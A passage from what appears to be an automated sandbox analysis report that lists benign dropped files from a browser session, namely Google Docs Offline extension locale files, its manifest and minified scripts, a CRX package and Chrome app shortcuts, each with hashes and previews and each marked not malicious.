C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11406
Entropy (8bit):	5.745845607168024
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuH+svyw6r+cgTSJJT4LGkt:m8IEI4u8/EgG4
MD5:	0A68C9539A188B8BB4F9573F2F2321D6
SHA1:	E0F814FA4DCC04EDC6A5D39CBC1038979E88F0E5
SHA-256:	39E6C25D096AFD156644F07586D85E37F1F7B3DA9B636471E8D15CEB14DB184F
SHA-512:	13F133C173C6622B8E1B6F86A551CBC5B0B2446B3CF96E4AE8CA2646009B99E4A360C2DB3168CB94A488FAEBD215003DFA60D10150B7A85B5F8919900BD01CCC
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417954053901
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj17x9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/AP7xgiVb
MD5:	5E425DC36364927B1348F6C48B68C948
SHA1:	9E411B88453DEF3F7CFCB3EAA543C69AD832B82F
SHA-256:	32D9C8DE71A40D71FC61AD52AA07E809D07DF57A2F4F7855E8FC300F87FFC642
SHA-512:	C19217B9AF82C1EE1015D4DFC4234A5CE0A4E482430455ABAAFAE3F9C8AE0F7E5D2ED7727502760F1B0656F0A079CB23B132188AE425E001802738A91D8C5D79
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	122218
Entropy (8bit):	5.439997574414675
Encrypted:	false
SSDEEP:	1536:naCwKqAbNBbV9HGsR43l9S6w3xu7gXMgaG0R6RxNbF4Ki3wqP+PrQY2PEtb1B:Jfcs1XMr2zbF4Ki+PkPEfB
MD5:	67C4451398037DD1C497A1EA98227630
SHA1:	F5BB00D46BCAB5A8A02E68E4895AEB6859B74AA8
SHA-256:	59123D5A34A319791E90391FC55F0F4B8F5ABB6DB67353609DB25ACC3E99C166
SHA-512:	17F35CE2A11C26168CC52C4AE2BEC548A1AEB1B1F9CB3475B0552BDE71CFE94C5C0C4F3F51267EF7C7D9B0E01E1D1259F48968E70EE1E905471BA0C76ECA81EA
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ha=ea(this);function r(a,b){if(b)a:{var c=ha;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	130866
Entropy (8bit):	5.425065147784983
Encrypted:	false
SSDEEP:	1536:zKjBw7l0GLFqjLmqoTquyBQCGLu5fJDX5pwPGFSS2IH0dKxQ5SbNyO+DrxZlkaY8:XYQi3DX5WkfH0dKxdboDrNOdor
MD5:	1A8A1F4E5BA291867D4FA8EF94243EFA
SHA1:	B25076D2AE85BD5E4ABA935F758D5122CCB82C36
SHA-256:	441385D13C00F82ABEEDD56EC9A7B2FE90658C9AACB7824DEA47BB46440C335B
SHA-512:	F05668098B11C60D0DDC3555FCB51C3868BB07BA20597358EBA3FEED91E59F122E07ECB0BD06743461DFFF8981E3E75A53217713ABF2A78FB4F955641F63537C
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var fa=ea(this);function r(a,b){if(b)a:{var c=fa;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\f29c23d7-1a08-4075-b81c-0e43fd1b50ef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Dec 29 03:45:16 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9797530737307825
Encrypted:	false
SSDEEP:	48:8esTdhTJpY2HwidAKZdA19ehwiZUklqehvy+3:8ewXY98y
MD5:	17187376228DEB2EAAD175DC8A61F2FE
SHA1:	878F5FC8694042898EA11754BA166BEFD69072D7
SHA-256:	D94D698783D9724DDB06DE2279D45D9ACCDBA0DE070CD24E1276C8AFF21DF156
SHA-512:	AE03888BF32C1487DF1EA8D4336591E2E37E187747F2479C520AD5B9CB7BB2B44D969D48F900EF194AD4011C5143899AFD80241B80EC9A551132F151E0227549
Malicious:	false
Preview:	L..................F.@.. ...$+.,......u.Y..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.%....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.%....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.%....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.%..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.%...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........P}.x.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Dec 29 03:45:16 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9951220916801176
Encrypted:	false
SSDEEP:	48:8TTdhTJpY2HwidAKZdA1weh/iZUkAQkqehsy+2:8XXY39Qdy
MD5:	EE6F34C32FB89799B20403ADA17A3F58
SHA1:	0CFA25BDCD3FD787EA33D662DE4736595FF9D29B
SHA-256:	9B66CBF646C9EF273F875AD2376EF63C383BB1261023C3C110220BC4D30BC489
SHA-512:	F087070117B7680130001A723310877AA55A2AA9D8104E83FA181AB10275177167448FC7F6A06962B8016E452EE4C93BC96220F17B31ED71858AB8AA5FB75874
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....!.t.Y..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.%....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.%....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.%....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.%..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.%...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........P}.x.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.005474190757915
Encrypted:	false
SSDEEP:	48:8xKdhTJpsHwidAKZdA14tseh7sFiZUkmgqeh7sCy+BX:8x8X5n4y
MD5:	6D2643D9803F8C37D42BE67E0504E02B
SHA1:	217943017A6620CFFE6B2A7B31A1AA61CFCB962E
SHA-256:	A1EF6944364DE89396B7FEE2DCB40EE9506212047B40C8D3B0B5853A05C44D72
SHA-512:	3F9AD18EF4DCF65F264EBAE0A7D955D623CFDA45489FCCD4F62F5365E8DE6E3BEDDCF404BC8DC5B2F513805FB0DC375AA2A3E46968B51CA9C5A20382138ABA41
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.%....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.%....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.%....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.%..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........P}.x.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Dec 29 03:45:16 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9944380705602636
Encrypted:	false
SSDEEP:	48:8bTdhTJpY2HwidAKZdA1vehDiZUkwqehQy+R:8fXY06y
MD5:	EFEF2CFC2D5A312F05DA582549134AFE
SHA1:	0C53798F69C44843CD8DCE2DDBEA97CA6CAB1B86
SHA-256:	549370DAF7C8E1348030FB31FFECD968B61E910D14FDE0AD9EACEB0C765DCF78
SHA-512:	69EACC1994993CC256CE6E450078F8B1791FD00C53AE75D94E07C5FCC5831C57ABFCC5D87001D3E612646555C0F44B21342F9B08BF73D7D20E5283021734450E
Malicious:	false
Preview:	L..................F.@.. ...$+.,....J].t.Y..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.%....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.%....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.%....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.%..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.%...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........P}.x.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Dec 29 03:45:16 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.982057447398143
Encrypted:	false
SSDEEP:	48:8ZTdhTJpY2HwidAKZdA1hehBiZUk1W1qeh+y+C:8pXYU9ey
MD5:	9B7ACAF48545C17C7571CAB2FEA9D27E
SHA1:	F1AB20540424F2F3116B594C0A57DA647A3B6CC3
